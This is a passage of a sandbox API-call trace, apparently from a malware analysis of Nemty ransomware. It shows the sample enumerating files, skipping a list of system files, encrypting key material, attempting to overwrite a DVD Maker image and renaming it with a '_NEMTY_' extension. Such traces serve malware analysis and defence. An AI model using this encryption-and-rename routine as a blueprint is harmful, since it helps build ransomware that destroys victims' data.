dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0068.449] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0068.449] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0068.449] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0068.449] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0068.449] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0068.449] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x712c6668, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x712c6668, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x390c4, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="Title_content-background.png", cAlternateFileName="")) returned 1 [0068.449] lstrcmpiW (lpString1="Title_content-background.png", lpString2=".") returned 1 [0068.449] lstrcmpiW (lpString1="Title_content-background.png", lpString2="..") returned 1 [0068.449] lstrcmpiW (lpString1="Title_content-background.png", lpString2="...") returned 1 [0068.449] lstrcmpiW (lpString1="Title_content-background.png", lpString2="windows") returned -1 [0068.449] lstrcmpiW (lpString1="Title_content-background.png", lpString2="$RECYCLE.BIN") returned 1 [0068.450] lstrcmpiW (lpString1="Title_content-background.png", lpString2="rsa") returned 1 [0068.450] lstrcmpiW (lpString1="Title_content-background.png", lpString2="NTDETECT.COM") returned 1 [0068.450] lstrcmpiW (lpString1="Title_content-background.png", lpString2="ntldr") returned 1 [0068.450] lstrcmpiW (lpString1="Title_content-background.png", lpString2="MSDOS.SYS") returned 1 [0068.450] lstrcmpiW (lpString1="Title_content-background.png", lpString2="IO.SYS") returned 1 [0068.450] lstrcmpiW (lpString1="Title_content-background.png", lpString2="boot.ini") returned 1 [0068.450] lstrcmpiW (lpString1="Title_content-background.png", lpString2="boot.ini") returned 1 [0068.450] lstrcmpiW (lpString1="Title_content-background.png", lpString2="AUTOEXEC.BAT") returned 1 [0068.450] lstrcmpiW (lpString1="Title_content-background.png", lpString2="ntuser.dat") returned 1 [0068.450] lstrcmpiW (lpString1="Title_content-background.png", lpString2="desktop.ini") returned 1 [0068.450] lstrcmpiW (lpString1="Title_content-background.png", lpString2="CONFIG.SYS") returned 1 [0068.450] lstrcmpiW (lpString1="Title_content-background.png", lpString2="RECYCLER") returned 1 [0068.450] lstrcmpiW (lpString1="Title_content-background.png", lpString2="BOOTSECT.BAK") returned 1 [0068.450] lstrcmpiW (lpString1="Title_content-background.png", lpString2="bootmgr") returned 1 [0068.450] lstrcmpiW (lpString1="Title_content-background.png", lpString2="programdata") returned 1 [0068.450] lstrcmpiW (lpString1="Title_content-background.png", lpString2="appdata") returned 1 [0068.450] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0068.450] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Title_content-background.png", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0068.450] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0068.450] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Title_content-background.png", cchWideChar=28, lpMultiByteStr=0x4f9ecb8, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Title_content-background.png", lpUsedDefaultChar=0x0) returned 28 [0068.450] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0068.450] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0068.450] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Title_content-background.png", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0068.450] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0068.450] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Title_content-background.png", cchWideChar=28, lpMultiByteStr=0x4f9ecb8, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Title_content-background.png", lpUsedDefaultChar=0x0) returned 28 [0068.450] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0068.450] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0068.450] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0068.450] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0068.450] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Title_content-background.png", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0068.450] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0068.450] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Title_content-background.png", cchWideChar=28, lpMultiByteStr=0x4f9ecb8, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Title_content-background.png", lpUsedDefaultChar=0x0) returned 28 [0068.450] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0068.450] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0068.450] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Title_content-background.png", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0068.451] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0068.451] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Title_content-background.png", cchWideChar=28, lpMultiByteStr=0x4f9ed58, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Title_content-background.png", lpUsedDefaultChar=0x0) returned 28 [0068.451] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0068.451] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94328 [0068.451] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0068.451] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0068.451] Sleep (dwMilliseconds=0x5) [0068.466] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdc74b790, dwHighDateTime=0x1d561e7)) [0068.466] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdc74b790, dwHighDateTime=0x1d561e7)) [0068.466] GetLastError () returned 0x5 [0068.466] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0068.466] GetLastError () returned 0x5 [0068.466] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0068.466] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0068.466] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0068.467] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0068.467] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0068.467] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0068.467] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0068.467] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e91c | out: pszString="3q6wZJi2MUA8etKh+LMBLkciU6nnFkkyAZ4IM6Pt/mD3X4HfU6+3SzbkAs2Yi8XA\r\namucC5Y9p6sQ+s0VH9yVQ8Ux4n6G68wXCWXqaMRMI1CuPL3tnU4254l0I8iNlM7D\r\n5+twzdoanJ09wrJ/XuFGTsida+VetAm5A+7UCucxs6Wt/og/tyyXWjbvUqjzB8Ss\r\nnWI37l3IWaHqHAelCbtS/YztzTVffduO8Pjzf8i5YaNIZn3emsnnsYOwBXQrWOLa\r\n/ILLANNBN20TZ1j2fKrOQukPt/XFhQyl0hYL/Nz/X7YHQil2hlt2Ab7BmSlahSye\r\nMuRu+qN8cQjhoxFeyhgOWQ==\r\n", pcchString=0x653e91c) returned 1 [0068.467] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0068.467] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0068.467] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0068.467] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0068.467] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0068.467] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0068.467] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_content-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0068.467] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0068.467] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0068.467] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.467] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0068.476] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.477] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0068.477] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.477] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0068.486] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.486] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0068.486] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.486] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0068.495] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.495] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0068.495] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.495] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0068.505] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.505] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0068.505] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.505] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0068.514] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.514] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0068.514] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.514] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0068.523] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.523] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0068.523] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.523] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0068.533] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.533] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0068.533] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.533] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0068.542] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.542] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0068.542] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.542] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0068.552] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.552] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0068.552] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.552] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0068.562] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.562] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0068.562] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.562] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0068.568] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.568] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0068.568] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.568] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0068.574] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.574] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0068.574] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.574] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340100, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0068.574] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0068.574] CloseHandle (hObject=0xffffffff) returned 0 [0068.574] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0068.574] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0068.574] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0068.574] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0068.574] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0068.574] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0068.574] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0068.574] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0068.574] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0068.574] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0068.574] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_content-background.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_content-background.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_content-background.png._nemty_kgobjgd_")) returned 0 [0068.574] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0068.574] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0068.574] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0068.574] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0068.574] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0068.574] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0068.574] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0068.574] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0068.575] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0068.575] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0068.575] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x712ec7c5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x712ec7c5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2c6fe3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1368, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="Title_mainImage-mask.png", cAlternateFileName="")) returned 1 [0068.575] lstrcmpiW (lpString1="Title_mainImage-mask.png", lpString2=".") returned 1 [0068.575] lstrcmpiW (lpString1="Title_mainImage-mask.png", lpString2="..") returned 1 [0068.575] lstrcmpiW (lpString1="Title_mainImage-mask.png", lpString2="...") returned 1 [0068.575] lstrcmpiW (lpString1="Title_mainImage-mask.png", lpString2="windows") returned -1 [0068.575] lstrcmpiW (lpString1="Title_mainImage-mask.png", lpString2="$RECYCLE.BIN") returned 1 [0068.575] lstrcmpiW (lpString1="Title_mainImage-mask.png", lpString2="rsa") returned 1 [0068.575] lstrcmpiW (lpString1="Title_mainImage-mask.png", lpString2="NTDETECT.COM") returned 1 [0068.575] lstrcmpiW (lpString1="Title_mainImage-mask.png", lpString2="ntldr") returned 1 [0068.575] lstrcmpiW (lpString1="Title_mainImage-mask.png", lpString2="MSDOS.SYS") returned 1 [0068.575] lstrcmpiW (lpString1="Title_mainImage-mask.png", lpString2="IO.SYS") returned 1 [0068.575] lstrcmpiW (lpString1="Title_mainImage-mask.png", lpString2="boot.ini") returned 1 [0068.575] lstrcmpiW (lpString1="Title_mainImage-mask.png", lpString2="boot.ini") returned 1 [0068.575] lstrcmpiW (lpString1="Title_mainImage-mask.png", lpString2="AUTOEXEC.BAT") returned 1 [0068.575] lstrcmpiW (lpString1="Title_mainImage-mask.png", lpString2="ntuser.dat") returned 1 [0068.575] lstrcmpiW (lpString1="Title_mainImage-mask.png", lpString2="desktop.ini") returned 1 [0068.575] lstrcmpiW (lpString1="Title_mainImage-mask.png", lpString2="CONFIG.SYS") returned 